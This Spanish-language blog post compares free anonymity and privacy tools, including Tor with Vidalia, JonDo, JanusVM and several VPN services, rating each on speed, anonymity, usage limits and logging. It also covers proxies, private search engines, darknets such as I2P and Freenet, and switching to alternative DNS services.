Vidalia Ofrece unos cuantos paquetes para usuarios que quieren iniciarse con cierta rapidez. Si no optas por el navegador Tor tienes que configurar el puerto del proxy local de tu máquina para usar el puerto 8118, que es el que por defecto trae Vidalia y entondes podrás usar el programa. Vidalia cambia constantemente tu IP para ocultar tu rastro en Internet y conseguir mayor anonimato. No hay demasiadas opciones. Es un programa básico para Tor que se esfuerza por dejar las cosas tan ‘simples’ como sea posible, dado que Tor en sí es muy complicado. El programa permite a los usuarios convertirse en Tor Relays (Relevos Tor) para ayudar a usuarios censurados a conectarse a la red. Tiene una característica interesante que muestra un mapa de la Tierra con líneas que representan las conexiones al servidor de Tor y bonitos gráficos sobre el ancho de banda.
Si usas Firefox, no necesitas tocar nada. Una vez que Tor esté conectado a su red de túneles, te bastará hacer clic enTorButton, la extensión que modifica la configuración de Firefox para que use Tor a la hora de navegar.
  • Velocidad: Generalmente lenta
  • Anonimato: Medio-Bajo
  • Limitaciones de uso: Ilimitado
  • Nivel de registro: Varía de un par a otro
  • Servidores: Por todo el mundo
  • Sistemas operativos que soporta: Windows, Linux, MAC

JONDO

JonDo (conocido anteriormente comoJAP) es un cliente VPN escrito en Java que enruta los datos a través de la red de JonDo. Lamentablemente, el hecho de estar basado en Java significa que la aplicación está un tanto inflada. Sin embargo, JonDo tiene una interfaz atractiva y fácil de usar, que compensa el abultado consumo de memoria y que muestra un montón de información visual sobre tu conexión a la red JonDo. En lo particular, suelo alejarme de aplicaciones en Java.
El grupo JonDonym suministra un perfil gratuito de navegación para Firefox llamado JonDoFox. Está preconfigurado para colocarse en anonimato alto y destacan sus muchos extras, como No-Script, CS Lite y AdBlock Plus. Es totalmente gratuito y lo recomiendo efusivamente para cualquiera que se tome en serio el anonimato. Desgraciadamente, JonDo tiene un límite máximo de usuarios para sus servicios gratuitos, lo que significa que generalmente está sobrecargado en las horas punta.
  • Velocidad: lenta
  • Anonimato: Alto
  • Limitaciones de uso: Ilimitado
  • Nivel de registro: Mínimo. Registra el uso de ancho de banda a efectos contables.
  • Servidores: Por todo el mundo
  • Sistemas operativos que soporta: Windows, Linux, MAC

JANUSVM

Está basado en VMware, cliente de Tor/Privoxy/Squid/OpenVPN, o como les gusta llamarlo, un “Dispositivo de Privacidad en Internet”. La verdad es que es un producto superior comparado con otras soluciones Tor, ya que combina la potencia de Tor, Privoxy, Squid y OpenVPN para aumentar el anonimato. Lo recomiendo para usuarios de nivel medio-alto, ya que no es tan simple como hacer un par de clics. Hay que instalar un VMware Player, de VMWare (es gratuito), configurar una conexión VPN y leer algo de documentación. También cuentan con un buen vídeo tutorial para los principiantes que quieran probar esta opción. Siempre que quieras usar JanusVM tienes que ejecutar el VMware Player. Aunque esto no supone un problema para la mayoría, quienes tengan hardware antiguo podrían tener dificultades para ejecutar máquinas virtuales en general. Los artífices del proyecto JanusVM ofrecen también un recurso de hardware, que se llama JanusPA! Es verdaderamente interesante, ya que cifra todos los datos que pasan por tu modem o router ADSL, lo que significa que no podrá pasar absolutamente nada que no esté ‘Torificado’.
  • Velocidad: lenta
  • Anonimato: Alto
  • Limitaciones de uso: Ilimitado
  • Nivel de registro: Varía de par en par
  • Servidores: Por todo el mundo
  • Sistemas operativos que soporta: Windows, Linux

PROXPN

proXPN es un cliente VPN basado en OpenVPN, aunque también ofrece un servicio PPTP para usuarios de telefonía móvil. Actualmente sus servidores están en EE. UU. y están intentando expandirse por Europa, con lo que la velocidad dependerá de tu ubicación. En general, la velocidad es alta para la mayoría de los usuarios. Al ser un cliente VPN, cifra todas tus actividades en Internet. Usan un nivel de cifrado de 512-bit, con certificados de 2.048-bit para que los usuarios alcancen altos niveles de anonimato. Desgraciadamente es obligatorio registrarse para usar el servicio. Por supuesto los paranoicos extremos pueden dar información falsa, aunque la dirección de correo electrónico tiene que ser real para poder activar la cuenta, pero de nuevo esta dirección podría ser falsa.
Está disponible para una gran variedad de sistemas operativos, incluidos los sistemas operativos modernos de Microsoft como Windows XP, Windows Vista, Windows 7 y Windows Mobile, así como toda la gama de sistemas operativos de la factoría Apple, como Mac OS, iPhone y iPod Touch
  • Velocidad: Rápido
  • Anonimato: Alto
  • Limitaciones de uso: Ilimitado
  • Nivel de registro: Mínimo. Registran la fecha y la hora de la conexión, el uso de ancho de banda y los datos de registro.
  • Servidores: Estados Unidos, Reino Unido
  • Sistemas operativos que soporta: Windows, MAC

VPNREACTOR

Es un servicio VPN L2TP/PPTP/OpenVPN similar a USAIP con la diferencia de que VPNReactor es gratuito. Actualmente sólo tienen servidores en Estados Unidos, así que la velocidad varía. Es obligatorio registrarse y mensualmente piden a los usuarios reactivar su cuenta.
La información transmitida es cifrada a 128 Bits, no almacena registro de la conexión y sus velocidades, aunque varían, son generalmente altas.
  • Velocidad: Rápido
  • Anonimato: Alto
  • Limitaciones de uso: Ilimitado
  • Nivel de registro: Mínimo
  • Servidores: Estados Unidos
  • Sistemas operativos que soporta: Windows, Linux, MAC

HOTSPOT SHIELD

Hotspot Shield, un cliente VPN gratuito basado en OpenVPN. A diferencia de otras opciones de navegación anónima, como JonDo o Tor, Hotspot Shield cifra todas tus actividades en Internet y no sólo la navegación web. Es ideal para gente que quiera hacer anónimas otras aplicaciones sin necesidad de ‘proxificarlas‘, algo que puede ser una tarea monótona y complicada. Anchorfree (empresa que lo desarrolla) no recoge ningún dato identificable sobre ti, así que puedes estar seguro de que tu privacidad está garantizada. Otra ventaja de usar esta opción en comparación con el resto es la buena velocidad.
No hay una interfaz independiente para el programa, sino que usa una interfaz tipo página web; es muy fácil de usar, ya que sólo tiene dos botones, conectar y desconectar; es una descarga relativamente pequeña (5258kB), que incluye los componentes OpenVPN necesarios y no exige que te registres; en ejecución usa unos 68Mb de memoria; Anchorfree tiene servidores dedicados de alta velocidad situados en diferentes ubicaciones de Estados Unidos.
  • Velocidad: Rápido
  • Anonimato: Alto
  • Limitaciones de uso: Medio. 5 GB al mes.
  • Nivel de registro: Mínimo. Registran los tiempos de conexión y el volumen del tráfico.
  • Servidores: Estados Unidos, Reino Unido
  • Sistemas operativos que soporta: Windows, Linux, MAC, Android

SECURITYKISS

SecurityKiss es un simple cliente VPN de Windows basado en OpenVPN. Sus servidores están situados en Alemania, Estados Unidos, Reino Unido, Suiza y quieren expandirse a otros emplazamientos. Es relativamente rápido, dependiendo de la distancia entre tu ubicación y el servidor más cercano. No capan la velocidad y comprimen los datos para asegurarse de que recibes la mejor conexión. Los usuarios gratuitos tienen un límite de 300 MB diarios, e insisten en que siempre será gratuito y en que el límite no disminuirá en el futuro, en todo caso aumentará. En total son unos 9 GB al mes.
La interfaz es muy básica, tiene un botón de conectar y otro de desconectar, un botón para cambiar de servidor y un botón para dejar un comentario. También muestra qué parte de tu cuota diaria de descarga has utilizado y cuánto queda para que empiece a contar de nuevo. SecurityKiss insiste en que no conservan datos de identificación personal acerca de sus usuarios y que sólo registran tu dirección IP, hora de conexión/desconexión y volumen del tráfico. Usan el algorritmo Blowfish de 128-bit para cifrar los datos de sesión y certificados RSA de 1024-bit para las claves de sesión.
A mi modo de ver, promete bastante.
  • Velocidad: Rápido
  • Anonimato: Alto
  • Limitaciones de uso: Medio. 300 MB al día
  • Nivel de registro: Mínimo
  • Servidores: Estados Unidos, Reino Unido, Suiza, Canadá
  • Sistemas operativos que soporta: Windows

CYBERGHOST VPN

CyberGhost es un cliente VPN,sus servidores están situados en una buena parte de Europa (Alemania principalmente) y Estados Unidos. Usan cifrado AES de 128-bit en todas las conexiones para asegurar un alto nivel de anonimato y usan técnicas especiales de compresión de datos para aumentar la velocidad. En su servicio gratuito ofrecen 1 GB al mes. Tiene una interfaz gráfica limpia e intuitiva, atractiva y fácil de usar. Admite muchos idiomas, incluidos el inglés, alemán, francés, italiano, español, polaco. Es un recurso más ‘completo’ comparado con los otros programas analizados, algo bueno para todos. Quizá tengas que esperar cola en las horas punta debido a la popularidad del servicio.
  • Velocidad: Rápido
  • Anonimato: Alto
  • Limitaciones de uso: Bajo. 1 GB al mes
  • Nivel de registro: Desconocido
  • Servidores: Europa, Estados Unidos
  • Sistemas operativos que soporta: Windows

OTRAS YERBAS

Hay que evitar los proxies basados en HTTP/CGI. No son herramientas serias para conseguir anonimato, pero son buenas herramientas para acceder a contenido bloqueado. Recuerda, las peticiones se siguen enviando sin cifrar a través de tu proveedor de Internet y a continuación al servidor proxy, del que puede que no sepas mucho, y luego salen a Internet. Si no sabemos nada sobre el servidor al que estamos mandando los datos, ¿cómo vamos a estar seguros de que podemos confiar en él? Esto no es para nada anónimo. Servicios como HideMyAss se pueden considerar de confianza, ya que tienen un buen historial en el campo de la anonimización y los proxies. Sólo considero recomendables los proxies HTTP ‘elite’ o ‘highly anonymous’ como verdaderas soluciones.
Existe toda una familia de servidores proxy no-cifrados y túneles VPN anónimos a través de los cuales hacer pasar la conexión. La fiabilidad varía muchísimo de un proxy a otro, y aunque existan listas de proxy gratuitos para que los configures a mano (como ésta), la mayoría de ellos dejan de funcionar a las pocas horas de nacer.
HTTPS Everywhere es un complemento desarrollado por The Tor Project y Electronic Frontier Foundation que “obliga” a ciertos sitios web a usar el protocolo seguro HTTPS en lugar del protocolo estándar HTTP. De momento el número de sitios web que lo soportan se limita a los servicios más populares de la red: Google, Wikipedia, Twitter y Facebook, por nombrar algunos. Sin embargo, se pueden sumar a la iniciativa los sitios web personalizados para que los usuarios accedan a más webs que usen el protocolo HTTPS. Al usar este complemento, o al acceder a sitios web por HTTPS cuando sea posible, aumentará tu nivel de anonimato. Aunque HTTPS garantice mayor seguridad mientras navegas en Internet, no da una total garantía de anonimato.
Ixquick es el motor de búsqueda más privado del mundo y ha obtenido el primer Sello Europeo de Privacidad. Los registros se destruyen pasadas 48 horas y no hay cookies. Tiene una función de proxy integrada que te permite consultar anónimamente los resultados de una búsqueda a través de proxies seguros de la propia empresa. Esto añade una capa más de anonimato cuando se usa junto a uno de los productos mencionados anteriormente.
Scroogle es un simple motor de búsqueda anónimo. Es básicamente una versión reducida del motor de búsqueda oficial de Google sin que quede expuesta toda tu información. No hay adornos, sólo anonimato.
Proxy Switchy! extensión desarrollada para Chrome/Comodo Dragon,  añade una lista de servidores proxy a nuestro navegador, dándonos la posibilidad de cambiar entre ellos de forma rápida y sencilla. Esta extensión añade un icono a la barra de direcciones dónde podremos escoger qué proxy usar en cada momento, evitando tener que llevar a cabo el cambio de forma manual.  La lista de proxys debe configurarse de forma manual, se pueden escoger de diferentes listas en Internet como esta.
Redes Oscuras: El término “red oscura” (o darknet) hace referencia a redes P2P privadas, comunidades anónimas que intercambian un gran volumen de archivos. Exclusivas, misteriosas y a menudo inmiscuidas en transacciones ilegales, estas redes son una manera distinta de experimentar la Red, pequeños universos paralelos donde es posible encontrar de todo. Una de las más conocidas es I2P. Al igual que en la Deep Web (o Web Invisible), en este tipo de redes te puedes encontrar cualquier sorpresa, desde Asesinos ofreciendo su talento hasta grandes volúmenes de Pedofilia, así que cuidado con lo que haces y donde te metes!. A diferencia de Tor, I2P añade un ingrediente más, el secreto: al llevarse a cabo en el interior de la red I2P, las comunicaciones no son visibles para el resto de usuarios de Internet. Las páginas web de esta red, conocidas como eepsites se reconocen por tener una terminación de dominio distinta, .I2P. Muy similar en concepto, y más fácil de configurar, es Freenet, otra red oscura centrada en el intercambio de archivos y el almacenamiento seguro de datos. A diferencia de I2P, el contenido publicado se puede obtener a partir de otros nodos aun cuando el original esté desconectado.

CAMBIANDO LOS DNS

Otras formas de protección para evitar que se haga rastreo de tus hábitos de navegación es usar DNS diferentes a los que de forma predeterminada te asigna tu ISP. Servicios gratuitos como los de OpenDNS y Secure DNS de Comodo no sólo sirven para darte algo más de seguridad en Internet, sino también son útiles a la hora de filtrar contenido no deseado. Estos servicios mantienen actualizada una lista de sitios de mala reputación, que propagan Malware y en definitiva, sitios que podrían causar algún daño a tu equipo.
En un artículo anterior se habló de las “bondades” que ofrece un servicio como OpenDNS, estas mentes han decidido lanzar un servicio adicional de seguridad llamado DNSCrypt, con el objetivo de encriptar nuestro tráfico que pasa por el protocolo DNS añadido a las opciones de seguridad que ya estaban presentes en OpenDNS.
Fuente: expresionbinaria